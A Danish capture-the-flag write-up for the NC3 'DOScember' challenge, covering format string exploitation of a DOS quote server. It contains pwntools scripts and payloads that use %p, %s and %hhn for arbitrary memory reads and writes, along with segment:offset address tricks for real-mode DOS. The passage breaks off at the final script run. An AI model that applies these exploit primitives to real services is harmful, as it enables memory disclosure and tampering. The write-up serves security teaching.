Julenisserne har fundet en meget gammel computer med alle deres gamle citater på, men de er lidt i tvivl, om der måske var en grund til, at de gemte maskinen væk for alle de mange år siden.

Kan du tjekke om alt er, som det ser ud?

Screenshot of the challenge waiting for input

I denne opgave er vi givet lidt C++ kildekode og har adgang til en maskine, der kører dette program. Programmet er baseret på et eksempel fra mTCP biblioteket, som er en IP stak til DOS. Opgaven har 3 flag i alt at finde.

DOScember 1

Til den første opgave bliver flaget læst ind fra en miljøvariabel i starten af main-funktionen og kopieret til flag-variablen:

int main(int argc, char *argv[]) {
  splash_screen();
  fprintf(stderr, "DOS NC3 Pwn task\n\n");

  strncpy(flag, getenv("FLAG1"), FLAG_BUFFER_SIZE);
  strncpy(flag_file, getenv("FLAG3"), FLAG_BUFFER_SIZE);
  ...

Følger vi flag-variablen til andre steder, den bliver brugt, så finder vi print_flag funktionen:

static void print_flag(TcpSocket *socket) {
  static char *fmt = "\nDu troede vel ikke det var så nemt!\nMen lad mig pege dig den rigtige vej: %p %p %p %p\n\n";
  send_stringf(socket, fmt, &print_flag, fmt, flag, flag_file);

  fprintf(stderr, "\nFirst flag is: %s\n", flag);
  fprintf(stderr, "One second flag is: %s\n", getenv("FLAG2"));
  fprintf(stderr, "Another second flag is stored at: %s\n", getenv("FLAG3"));
}

Denne funktion ligger som et skjult menupunkt, nr. 1337, i hovedmenuen af programmet:

static bool menu(TcpSocket *socket) {
  send_string(socket, "Du har nu følgende valg:\r\n\r\n");
  send_string(socket, " 1) Se alle citater\r\n\r\n");
  send_string(socket, " 2) Tilføj nyt citat\r\n\r\n");
  send_string(socket, " 3) Fjern et citat\r\n\r\n");
  send_string(socket, " 4) Genindlæs citater\r\n\r\n");
  send_string(socket, " 5) Afslut\r\n\r\n");
  send_string(socket, "Dit valg: ");
  
  char choice[16];
  recv_string(socket, choice, 16);
  
  switch(atoi(choice)) {
    ...
    case 1337:
      print_flag(socket);
      return true;
    ...
  }
  
  return false;
}

Selvom denne funktion faktisk printer flaget, så gør den det desværre til skærmen og ikke over netværket. Tilgengæld sender den en pointer til variablen, så vi ved, hvor vi skal hente flaget.

Du troede vel ikke det var så nemt!
Men lad mig pege dig den rigtige vej: 07d4:245d 1549:0958 1721:3498 1721:34d8

Vi lærer samtidigt, at der er en send_stringf, som tager printf-agtige argumenter og sender resultatet tilbage over netværket. Der er jo en hel kategori af sårbarheder baseret på at kunne styre printfs første argument, formatstrengen, så det kan være, vi skal kigge lidt på, hvor og hvordan den funktion bruges:

295    send_stringf(socket, choice);
304    send_stringf(socket, "\nJeg kender lige nu %d citater:\n\n", cite_count);
306    send_stringf(socket, " %2d) %s\n", i + 1, cite[i]);
315    send_stringf(socket, "\nHukommelsen er ikke så god i min gamle alder.\nJeg kan ikke huske mere end %d citater\n\n", CITES_SIZE);
322    send_stringf(socket, "\nSå langt et citat kan jeg ikke huske i min fremskredne alder.\nJeg kan kune huske %d tegn.\n\n", CITE_SIZE - 1);
329    send_stringf(socket, cite[cite_count - 1]);
339    send_stringf(socket, "\nDet citat kender jeg ikke. Jeg kender kun %d citater.\n\n", cite_count);
379    send_stringf(socket, fmt, &print_flag, fmt, flag, flag_file);

Langt størstedelen her har konstante formatstrenge, men tre af dem af ikke, dem i linje 295, 329 og 379. 379 er den, vi har set i print_flag hvor, selv om konstanten ikke står i samme linje, formatstrengen essentielt er konstant. Lad os kigge på linje 295:

static bool menu(TcpSocket *socket) {
  ...

  char choice[16];
  recv_string(socket, choice, 16);

  switch(atoi(choice)) {
    ...
    default:
      send_string(socket, "\nJeg forstår ikke dit valg: ");
      send_stringf(socket, choice);
      send_string(socket, "\n\n");
      return true;
  }

  return false;
}

Her er formatstrengen direkte styret af, hvad end vi vælger af menu punkt. Det kan vi lige bekræfte ved f.eks. at prøve at vælge %d ved menuen:

Dit valg: %d

Jeg forstår ikke dit valg: 25637

Her kan vi tydeligt se, at programmet ikke bare printer %d tilbage til os, men har tolket det som en format streng og givet os et tal i stedet. Kaldekonventionen på DOS er meget baseret på, at argumenter til funktioner gemmes på stakken, men det er meget op til den enkelte compiler - da delte biblioteker ikke var en ting, var der heller ikke det samme behov for en formaliseret ABI. Vi arbejder dog lidt videre med hypotesen om, at formatstrengen læser sine argumenter fra stakken. Samtidigt er den buffer, der bliver læst ind også allokeret på stakken, så vi kan starte med at prøve om vi kan påvirke de værdier, der kommer ud.

En typisk tilgang til dette er at smide et par bogstaver i starten af inputtet, f.eks. ABCD efterfulgt af nogle %per:

Dit valg: ABCD%p%p%p%p%p

Jeg forstår ikke dit valg: ABCD4443:42417025:70257025:70250000:70252722:4958

Fordelen ved at bruge %p er at vi i sidste ende skal følge den hukommelsesadresse vi har fået ud af programmet tidligere med netop samme %p. Kigger vi på resultatet, så har vi fået vores ABCD ud først, som forventet, og så fem adresser. Den første af disse er 4443:4241, og hvis man kan sin ASCII-tabel, så er 41 hex lige præcist A, 42 er B, 43 er C og 44 er D. Så det ligner faktisk, at den første %p læser direkte fra starten af den buffer vi styrer. Nu skal vi så blot ændre denne adresse til at være 1721:3498. Vi bemærker at bogstaverne i vores testadresse kom i modsat rækkefølge af hvad vi skrev, dette skyldes at x86 er en little-endian arkitektur. Så foran vores %p vil vi gerne have bytesne 98 34 21 17, i den rækkefølge. Til at starte med kan vi være lidt janky og teste af med echo, at det virker:

$ echo -e '\x98\x34\x21\x17%p' | nc localhost 1337
...
Dit valg:
Jeg forstår ikke dit valg: �4!1721:3498
...

Men i virkeligheden er det nok godt at begynde at arbejde med et rigtigt løsningsscript, så som dette med pwntools:

#!/usr/bin/env python3

from pwn import *

with remote('doscember.nc3', 1337) as tgt:
    tgt.recvuntil(b'Dit valg:')
    tgt.send(bytes([0x98, 0x34, 0x21, 0x17]) + b'%p\n')
    tgt.interactive()

Kører vi vores lille script, så får vi følgende output:

$ python3 solve.py
[+] Opening connection to doscember.nc3 on port 1337: Done
[*] Switching to interactive mode

Jeg forstår ikke dit valg: \x984!\x171721:3498
...

Og der kan vi se, at vi får vore ønskede adresse 1721:3498, nu skal vi bare læse den streng, der står på den adresse. Det gøres nemt ved at udskifte %p med %s:

    tgt.send(bytes([0x98, 0x34, 0x21, 0x17]) + b'%s\n')

Og så er resultatet:

$ python3 solve.py
[+] Opening connection to doscember.nc3 on port 1337: Done
[*] Switching to interactive mode

Jeg forstår ikke dit valg: \x984!\x17NC3{At_laese_en_peger_er_ligefrem}
...

Og så er der et fint lille flag: NC3{At_laese_en_peger_er_ligefrem}

Vores løsningsscript kan dog godt tåle lidt oprydning:

#!/usr/bin/env python3

from pwn import *

flag1_addr = 0x17213498

def flag_1(tgt):
    tgt.recvuntil(b'Dit valg:')
    tgt.send(p32(flag1_addr) + b'%s\n')
    tgt.recvuntil(p32(flag1_addr))
    print('Flag 1 er:', tgt.recvuntil(b'\n')[:-1].decode('utf-8'))

with remote('doscember.nc3', 1337) as tgt:
    flag_1(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')

DOScember 2a

Da vi tidligere kiggede lidt på print_flag, bemærkede vi, at den printede flaget til skærmen. Den printede faktisk ikke kun flaget til første del, men også et andet flag. Dette flag får vi dog ikke en adresse til, så vi må finde en anden tilgang til at få flaget. Heldigvis indeholder programmet et lille hint til, hvad man kan gøre:

static void splash_screen() {
  static uint16_t * const video_base = (uint16_t *) 0xB8000000;
  static const uint16_t screen_width = 80;
  static uint16_t * const base = video_base + screen_width * 10 + 60;
  static const uint16_t decor[16] = {
    LIGHT_BLUE | 'o',
    LIGHT_RED | 'o',
    LIGHT_CYAN | 'o',
    YELLOW | 0x8d,
    GREEN | '.',
    YELLOW | 0xa1,
    GREEN | '.',
    GREEN | '.',
    GREEN | '.',
    GREEN | '.',
    GREEN | '.',
    GREEN | '.',
    GREEN | '\'',
    GREEN | '\'',
    GREEN | '\'',
    GREEN | '\''};

  for(int row = 0; row < 15; ++row) {
    int tree_width = (row * 2 + 2) / 3;
    if(row == 0) {
      *(base) = BLINK | YELLOW | '*';
    } else if(row == 14) {
      for(int column = 1 - tree_width; column <= tree_width - 1; ++column) {
        if(column == -1) {
          *(base + row * screen_width + column) = BROWN | '[';
        } else if(column == 0) {
          *(base + row * screen_width + column) = BROWN | '_';
        } else if(column == 1) {
          *(base + row * screen_width + column) = BROWN | ']';
        } else {
          *(base + row * screen_width + column) = GREEN | '^';
        }
      }
    } else {
      *(base + row * screen_width - tree_width) = GREEN | '/';
      *(base + row * screen_width + tree_width) = GREEN | '\\';
      for(int column = 1 - tree_width; column <= tree_width - 1; ++column) {
        *(base + row * screen_width + column) = decor[((3*row + 5*row*row + 19*row*row*row) ^ (7*column + 11*column*column + 13*column*column*column) ^ 17)&0xf];
      }
    }
  }
}

Denne splash_screen funktion bliver kaldt under opstart af programmet. En splash screen er typisk et grafisk element, der vises under et programs opstart. Funktionen i sig selv indeholder også en del navne, der kunne tænkes at have med grafik at gøre, video_base, screen_width, row, column, en masse farve og også noget med at blinke. Alt dette gøres ud fra video_base pointeren som bare sættes til adressen 0xB8000000. Søger man på denne adresse, finder man hurtigt et Stack Overflow spørgsmål om, hvorfor man får tegn på skærmen, når man skriver til adresse 0xB8000000.

For IBM PCer og PC kloner, så eksisterer der videohukommelse ved adresse B800:0000. Denne videohukommelse bruges, bl.a., til det, der hedder video mode 03. Video mode 03 består af 25 rækker, hver af 80 koloner, af farvet tekst, hvilket passer med screen_width variablen overfor. Dette, kombineret med at mode 03 er standard på farve DOS maskiner, er stærke tegn på at, det nok er denne mode, vi befinder os i. I denne mode er hver karakter kodet som 2 bytes. Den første af disse er hvilken karakter der skal vises på skærmen, afgjort af hvilket tegnsæt, eller code page, maskinen var sat op til. I Danmark var code page 865 meget typisk, og ellers var code page 437 og 850 også ret udbredte. Heldigvis er disse alle kompatible med 7-bit ASCII. Den anden byte for hver karakter angiver forgrund- og baggrundsfarven på karakteren, samt en særlig attribut, som typisk indikerer, om den blinker.

Med al den viden på plads, så skulle det gerne være lige til bare at prøve at læse videohukommelsen ud med samme tilgang som tidligere:

#!/usr/bin/env python3

from pwn import *

flag1_addr = 0x17213498
video_addr = 0xb8000000

def flag_1(tgt):
    ...

def flag_2a(tgt):
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'1337\n')
    tgt.recvuntil(b'Dit valg:')
    tgt.send(p32(video_addr) + b'%s\n')
    tgt.recvuntil(b'ikke dit valg: ')
    print(tgt.recvuntil(b'\n'))

with remote('doscember.nc3', 1337) as tgt:
    flag_2a(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')
$ python3 solve.py
[+] Opening connection to doscember.nc3 on port 1337: Done
b'\n'
[*] Closed connection to doscember.nc3 port 1337

Det fik vi ikke meget ud af. Vi får ikke en gang vores indkodede adresse tilbage. Årsagen er dog heldigvis ikke så mystisk; når vi laver vores input til programmet, så er det allerførste i vores input den laveste byte af vores måladresse, og denne gang er det 0x00. Og i bunden af recv_string funktionen gemmer sig denne kode:

static char *recv_string(TcpSocket *socket, char *out, size_t out_len) {
  size_t recved = 0;

  ...

  if(out != NULL) {
    strncpy(out, recv_buffer, out_len);
    return out;
  } else {
    return recv_buffer;
  }
}

Det sidste kald her til strncpy stopper ved den først nulbyte, den møder, som I vores tilfælde er den allerførste byte, og vores exploit når aldrig længere. Faktisk hvis vi overvejer koden nærmere, så er der et par tegn vi ikke må have i vores adresse:

  • 0x00 - Som nævnt ovenfor, det forhindrer strncpy i at kopiere hele exploitet.
  • 0x0a - Det stopper løkken i recv_string fra at modtage mere og erstatter det med en 0x00.
  • 0x25 - %-tegnet som starter en tolket sekvens i vores exploit. Det er vigtigt at vores %s er den første tolkede sekvens, ellers læser den ikke længere den rigtige adresse.
  • 0x31 til 0x35 - Er dog kun et problem på den første position, da disse er tallene 1 til 5 og vil aktivere en af menupunkterne.

Så er spørgsmålet, hvad vi kan gøre for, at vores adresser ikke indeholder disse tegn? Heldigvis er svaret næsten lige foran os. Hvis vi vender tilbage til adressen til det første flag; 1721:3498. Her har vi bare tolket det her som en 32-bit adresse uden at tænke nærmere over det, men DOS er et 16-bit system og kører CPU’en i 16-bit real mode. Vi har heller ikke rigtigt taget stilling til det kolon midt i adressen.

Tricket er, at x86 real mode hverken arbejder med 16-bit eller 32-bit adresser, men faktisk med 20-bit adresser. Disse 20-bit adresser dannes fra to 16-bit værdier, segmentet og offsettet. Dette gøres ved at shifte segmentet 4 bit op (eller gange det med 16) og så lægge offsettet til, dvs. adresse = segment * 16 + offset. Når en adresse som 1721:3498 printes, så er delen før : segmentet og delen efter offsettet. Hvis vi tager 1721:3498 som eksempel, så er den egentlige fysiske adresse 1721 * 16 + 3498 = 17210 + 3498 = 1a6a8.

Ligeledes med videohukommelsen B800:0000, den har fysisk adresse: B800 * 16 + 0000 = B8000 + 0000 = B8000. Dette er dog ikke den eneste måde at adressere den fysiske videohukommelse. Et simpelt trick er blot at trække 1 fra segmentet og lægge 16 til offsettet, så adressen bliver B7FF:0010. Laver vi beregningen igen: B7FF * 16 + 0010 = B7FF0 + 0010 = B8000. Altså er det præcist den samme fysiske hukommelse vi rammer som med B800:0000 og vi har fjernet to 0x00 bytes. Nu er der kun en 0x00 tilbage. Vi kan bruge næsten samme trick igen, bare lidt større tal, trække 16 fra segmentet og lægge 256 til offsettet: B7EF:0110. Tjekker vi efter en sidste gang: B7EF * 16 + 0110 = B7EF0 + 0110 = B8000. Så det ser godt ud. Lad os prøve at hente videohukommelsen gennem B7EF:0110 i stedet:

#!/usr/bin/env python3

from pwn import *

flag1_addr = 0x17213498
video_addr = 0xb7ef0110

def flag_1(tgt):
    ...

def flag_2a(tgt):
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'1337\n')
    tgt.recvuntil(b'Dit valg:')
    tgt.send(p32(video_addr) + b'%s\n')
    tgt.recvuntil(b'ikke dit valg: ')
    print(tgt.recvuntil(b'\n'))

with remote('doscember.nc3', 1337) as tgt:
    flag_2a(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')
$ python3 solve.py
[+] Opening connection to doscember.nc3 on port 1337: Done
b'\x10\x01\xef\xb7                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           \n'
[*] Closed connection to doscember.nc3 port 1337

Det ligner ikke så meget, men denne gang fik vi da vores adresse tilbage, og så 507 spaces. Givet at der er 80 tegn på en linje, og hvert tegn er 2 byte, så er det lidt over de første tre linjer af tekst på skærmen, måske er det ikke urimeligt, at der ikke står noget på disse linjer. Så lad os springe 3 linjer * 80 tegn/linje * 2 bytes/tegn = 480 bytes frem og prøve igen på adresse B7EF:0110 + 480 = B7EF:0110 + 1e0 = B7EF:02F0. Heldigvis er der ikke nogen ugyldige bytes i den adresse, så det kan vi fint tilgå:

$ python3 solve-wu.py
[+] Opening connection to doscember.nc3 on port 1337: Done
b'\xf0\x02\xef\xb7 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07C\x07o\x07n\x07n\x07e\x07c\x07t\x07i\x07o\x07n\x07 \x07r\x07e\x07c\x07e\x07i\x07v\x07e\x07d\x07 \x07f\x07r\x07o\x07m\x07 \x071\x070\x07.\x070\x07.\x072\x07.\x072\x07:\x076\x070\x078\x074\x072\x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \x07 \n'
[*] Closed connection to doscember.nc3 port 1337

Her får vi en masse 0x07 bytes mellem vores spaces. Det er den heldigvis en god forklaring på. Det blev tidligere nævnt at hver tegn fyldte 2 bytes, en symbol byte og en attribut byte. 0x07 er en attribute byte der betyder lysegrå, ikke blinkende, tekst på sort baggrund. Hvis vi lige modificerer vores script til at springe alle attribut bytes over og fjerne mellemrum før og efter. Så får vi:

#!/usr/bin/env python3

from pwn import *

flag1_addr = 0x17213498
video_addr = 0xb7ef02f0

def flag_1(tgt):
    ...

def flag_2a(tgt):
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'1337\n')
    tgt.recvuntil(b'Dit valg:')
    tgt.send(p32(video_addr) + b'%s\n')
    tgt.recvuntil(b'ikke dit valg: ')
    print(tgt.recvuntil(b'\n')[4:-1:2].strip())

with remote('doscember.nc3', 1337) as tgt:
    flag_2a(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')
$ python3 solve-wu.py
[+] Opening connection to doscember.nc3 on port 1337: Done
b'Connection received from 10.0.2.2:56586'
[*] Closed connection to doscember.nc3 port 1337

Det er tydeligvis et print fra programmets main funktion:

int main(int argc, char *argv[]) {
  ...
  fprintf(stderr, "Connection received from %d.%d.%d.%d:%u\n\n", mySocket->dstHost[0], mySocket->dstHost[1], mySocket->dstHost[2], mySocket->dstHost[3], mySocket->dstPort);
  ....
}

Inden vi springer videre, så lad os lige implementere den rutine, vi kom på tidligere til at sikre, at adresser vi bruger ikke indeholder ugyldige tegn:

 def sane_address(p):
    segment = (p >> 16) & 0xffff
    offset = p & 0xffff
    avoid = [0x00, 0x0a, 0x25]
    avoid_first = b'12345'

    while (segment >> 0) & 0xff in avoid or (segment >> 8) & 0xff in avoid or (offset >> 0) & 0xff in avoid or (offset >> 8) & 0xff in avoid or (offset >> 0) & 0xff in avoid_first:
        segment = (segment - 1) & 0xffff
        offset = (offset + 16) & 0xffff

    return (segment << 16) | offset

Så kan vi nemt rykke yderligere 3 linjer ned:

#!/usr/bin/env python3

from pwn import *

flag1_addr = 0x17213498
video_addr = 0xb8000000
flag2_offset = 6 * 80 * 2

def sane_address(p):
    segment = (p >> 16) & 0xffff
    offset = p & 0xffff
    avoid = [0x00, 0x0a, 0x25]
    avoid_first = b'12345'

    while (segment >> 0) & 0xff in avoid or (segment >> 8) & 0xff in avoid or (offset >> 0) & 0xff in avoid or (offset >> 8) & 0xff in avoid or (offset >> 0) & 0xff in avoid_first:
        segment = (segment - 1) & 0xffff
        offset = (offset + 16) & 0xffff

    return (segment << 16) | offset

def flag_1(tgt):
    ...

def flag_2a(tgt):
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'1337\n')
    tgt.recvuntil(b'Dit valg:')
    tgt.send(p32(sane_address(video_addr + flag2_offset)) + b'%s\n')
    tgt.recvuntil(b'ikke dit valg: ')
    print(tgt.recvuntil(b'\n')[4:-1:2].strip())

with remote('doscember.nc3', 1337) as tgt:
    flag_2a(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')
$ python3 solve.py
[+] Opening connection to doscember.nc3 on port 1337: Done
b'First flag is: NC3{At_laese_en_peger_er_ligefrem} One second flag is: NC3{Vaerre_er_arbitraer_hukommelse} Another second'
[*] Closed connection to doscember.nc3 port 1337

Så var der bid! Det er tydeligvis printsene fra print_flag og det næste flag NC3{Vaerre_er_arbitraer_hukommelse}. Hvis vi igen lige rydder lidt op, så er vores solve script indtil videre:

#!/usr/bin/env python3

from pwn import *

flag1_addr = 0x17213498
video_addr = 0xb8000000
flag2_offset = 8 * 80 * 2 + 40

def sane_address(p):
    segment = (p >> 16) & 0xffff
    offset = p & 0xffff
    avoid = [0x00, 0x0a, 0x25]
    avoid_first = b'12345'

    while (segment >> 0) & 0xff in avoid or (segment >> 8) & 0xff in avoid or (offset >> 0) & 0xff in avoid or (offset >> 8) & 0xff in avoid or (offset >> 0) & 0xff in avoid_first:
        segment = (segment - 1) & 0xffff
        offset = (offset + 16) & 0xffff

    return (segment << 16) | offset

def flag_1(tgt):
    tgt.recvuntil(b'Dit valg:')
    tgt.send(p32(flag1_addr) + b'%s\n')
    tgt.recvuntil(p32(flag1_addr))
    print('Flag 1 er:', tgt.recvuntil(b'\n')[:-1].decode('utf-8'))

def flag_2a(tgt):
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'1337\n')
    tgt.recvuntil(b'Dit valg:')
    tgt.send(p32(sane_address(video_addr + flag2_offset)) + b'%s\n')
    tgt.recvuntil(b'ikke dit valg: ')
    print('Flag 2a er:', tgt.recvuntil(b'\n')[4:74:2].decode('utf-8'))

with remote('doscember.nc3', 1337) as tgt:
    flag_1(tgt)
    flag_2a(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')

DOScember 2b

For denne opgave er flaget gemt i en fil på filsystemet, som lidt indikeret fra en variabel kaldet flag_file. Vi kan bruge vores exploit fra både del 1 og 2a til at finde filnavnet. Her bruger vi 1, da de andre pointers, der bliver lækket også er brugbare:

#!/usr/bin/env python3

from pwn import *

video_addr = 0xb8000000
flag2_offset = 8 * 80 * 2 + 40

def sane_address(p):
    ...

def get_pointers(tgt):
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'1337\n')
    tgt.recvuntil(b'Men lad mig pege dig den rigtige vej: ')
    pointers = tgt.recvuntil(b'\n')[:-1]

    return [(int(x[:4], 16) << 16) | int(x[-4:], 16) for x in pointers.split(b' ')]

def flag_1(tgt):
    ...

def flag_2a(tgt):
    ...

def flag_2b(tgt):
    tgt.recvuntil(b'Dit valg:')
    tgt.send(p32(flag2b_file_addr) + b'%s\n')
    tgt.recvuntil(p32(flag2b_file_addr))
    print('Flag 2b er i:', tgt.recvuntil(b'\n')[:-1].decode('utf-8'))

with remote('doscember.nc3', 1337) as tgt:
    print_flag_addr, fmt_addr, flag1_addr, flag2b_file_addr = get_pointers(tgt)
    flag_2b(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')

Så kan vi se at flaget er gemt i:

$ python3 solve.py
[+] Opening connection to doscember.nc3 on port 1337: Done
Flag 2b er i: C:\FLAG.TXT
[*] Closed connection to doscember.nc3 port 1337

Så vi skal på en eller anden måde have læst filen C:\FLAG.TXT. Heldigvis indeholder programmet allerede en rutine til at læse filer i form af reload_citation:

static void reload_citation(TcpSocket *socket) {
  cite_count = 0;
  FILE *def_cites = NULL;

  def_cites = fopen(quote_file_name, "r");

  if(def_cites == NULL) {
    goto err;
  }

  for(int i = 0; i < CITES_SIZE; ++i) {
    char *read = fgets(cite[i], CITE_SIZE, def_cites);

    if(read == NULL) {
      break;
    }

    char *nl = strchr(cite[i], '\n');
    if(nl != NULL) {
      *nl = '\0';
    }

    ++cite_count;
  }

  fclose(def_cites);

err:
  list_cite(socket);
}

Så hvis vi kan overskrive indholdet af quote_file_name med C:\FLAG.TXT, så kan vi forhåbentligt indlæse flaget som et citat og få fat i det den vej. Men hvor og hvordan? Lad os starte med det første, hvor er quote_file_name gemt. Her er det praktisk at vide lidt om, hvordan compilerer organiserer et programs hukommelse. Typisk vil et program være lagt ud så programkoden kommer først, efterfulgt af konstant data, så initialiseret data og sidst uinitialiseret data. Da quote_file_name er en streng fastkodet i programmet, vil det falde i området med konstant data. Så er spørgsmålet bare, hvor det er henne. Kaster vi blikket tilbage til starten og de 4 pointers, vi får ud af 1337-menuen, er der lidt hjælp at hente:

Du troede vel ikke det var så nemt!
Men lad mig pege dig den rigtige vej: 07d4:245d 1549:0958 1721:3498 1721:34d8

Den første pointer er til en funktion, så den peger ind i programkoden. Den næste er til en fastkodet streng i programmet, så den falder i konstant data, ligesom quote_file_name gør. De sidste to er initialiserede, men modificerbare variable, så de falder i initialiseret data. Er man lidt vaks, så ser man at segmentet for adressen varierer efter, hvilket område adressen falder inden for. Det er ikke tilfældigt. Faktisk bruger compileren et forskelligt segment for hver type data. Så vi ved, at konstantstykket starter ved 1549:0000, og vi ved også at initialiseret data, det efterfølgende stykke, starter ved 1721:0000, så værdien af quote_file_name må ligge mellem disse to adresser. Oversætter vi til at have begge i samme segment er det mellem 1549:0000 og 1549:1d80. Det nemmeste herfra er bare at læse alle 7552 bytes mellem disse to adresser og søge efter C:\quotes.txt, hvilket er den værdi quote_file_name er sat til:

#!/usr/bin/env python3

from pwn import *

video_addr = 0xb8000000
flag2_offset = 8 * 80 * 2 + 40

def sane_address(p):
    ...

def get_pointers(tgt):
    ...

def diff_pointers(lower, higher):
    return (((higher >> 12) % 0xffff0) + (higher & 0xffff)) - (((lower >> 12) % 0xffff0) + (lower & 0xffff))

def read_mem(tgt, addr):
    addr = p32(sane_address(addr))
    tgt.recvuntil(b'Dit valg:')
    tgt.send(addr + b'%s\n')
    tgt.recvuntil(addr)
    return tgt.recvuntil(b'\n')[:-1]

def read_all(tgt, addr, count):
    data = b''
    while len(data) < count:
        blk = read_mem(tgt, addr + len(data))
        if len(blk) < 507:  # If we read less than the maximum possible,
            blk += b'\0'    # it's because we encountered a null byte.
        data += blk
    return data[:count]

def flag_1(tgt):
    ...

def flag_2a(tgt):
    ...

def flag_2b(tgt):
    const_base = fmt_addr & 0xffff0000
    data_base = flag1_addr & 0xffff0000
    const_len = diff_pointers(const_base, data_base)

    flag2b_file = read_mem(tgt, flag2b_file_addr).decode('utf-8')
    print(read_all(tgt, const_base, const_len).index(b'C:\\quotes.txt'))

with remote('doscember.nc3', 1337) as tgt:
    print_flag_addr, fmt_addr, flag1_addr, flag2b_file_addr = get_pointers(tgt)
    flag_2b(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')
$ python3 solve.py
[+] Opening connection to doscember.nc3 on port 1337: Done
2576
[*] Closed connection to doscember.nc3 port 1337

Så 2576 bytes inde i konstanterne finder vi værdien af quote_file_name, altså på adressen 1549:0a10. Så nu ved vi, hvor vi skal skrive, så er spørgsmålet bare hvordan. Til at skrive fra en formatstreng har vi typisk %n. Denne skriver længden af den genererede streng, op til dette punkt, ud til en givet adresse. Så hvis vi f.eks. har skrevet 10 tegn inden %n, så vil %n skrive tallet 10 til en C int på den givne adresse. Den nemmeste måde at lave en streng af en given længde er at bruge en length modifier på en anden %-dims. F.eks. vil %10x bruge mindst 10 tegn på at skrive et heltal ud i hex. Vil vi det, så får vi dog en ekstra %-kode ind foran vores %n. Hvis vi bruger %x, så kan vi forvente, at den spiser 2 bytes af vores input, da DOS er 16-bit, før vores adresse kommer. Det kan vi lige prøve af i hånden:

Dit valg: 12ABCD%x%p

Jeg forstår ikke dit valg: 12ABCD32314443:4241

Her kan vi se, at %x printer 3231 som er ASCII-værdierne for 12, og vores adresse er stadig 4443:4241. Så det kan vi omsætte den en python funktion til vores script:

def write_mem(tgt, addr, what):
    addr = p32(sane_address(addr))

    if what < 9:
        what += 256

    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'\x01\x01' + addr + f'%{what - 6}x%hhn\n'.encode())

Her er der dog to små finurligheder. Da vi allerede inden vore %x har skrevet 6 tegn, så skal vi lige have trukket det fra længden af vores %x. Dette giver også en nedre grænse for, hvor små tal vi kan skrive. Her kan vi ikke skrive under 9, da vi har mindst 6 tegn fra vores tal og adresse. Derudover skal %x som minimum skrive vores tal ud. Derfor er der valgt det laveste 2-byte tal, vi kan skrive uden 0-bytes i, 101, som er tre yderligere tegn. For at kunne skrive tal under 9, så udnytter vi lidt wrapping. Hvis tallet er under 9, så lægger vi 256 til og printer rigeligt med tegn, og så, fremfor at bruge %n direkte, som skriver en helt int, så bruger vi %hhn som har modifiers, så den kun skriver en enkelt char, altså en enkelt byte.

Så skal vi bare wrappe det i en løkke og prøve det af:

#!/usr/bin/env python3

from pwn import *

video_addr = 0xb8000000
flag2_offset = 8 * 80 * 2 + 40

def sane_address(p):
    ...

def get_pointers(tgt):
    ...

def diff_pointers(lower, higher):
    ...

def read_mem(tgt, addr):
    ...

def read_all(tgt, addr, count):
    ...

def write_mem(tgt, addr, what):
    ...

def write_all(tgt, addr, what):
    for i, c in enumerate(what):
        write_mem(tgt, addr + i, c)

def flag_1(tgt):
    ...

def flag_2a(tgt):
    ...

def flag_2b(tgt):
    const_base = fmt_addr & 0xffff0000
    data_base = flag1_addr & 0xffff0000
    const_len = diff_pointers(const_base, data_base)

    flag2b_file = read_mem(tgt, flag2b_file_addr)
    quotes_offset = read_all(tgt, const_base, const_len).index(b'C:\\quotes.txt')
    quotes_addr = const_base + quotes_offset
    print('Før modification:', read_mem(tgt, quotes_addr))
    write_all(tgt, quotes_addr, flag2b_file + b'\0')
    print('Efter modification:', read_mem(tgt, quotes_addr))

with remote('doscember.nc3', 1337) as tgt:
    print_flag_addr, fmt_addr, flag1_addr, flag2b_file_addr = get_pointers(tgt)
    flag_2b(tgt)
    tgt.recvuntil(b'Dit valg:')
    tgt.send(b'5\n')
$ python3 solve-wu.py 
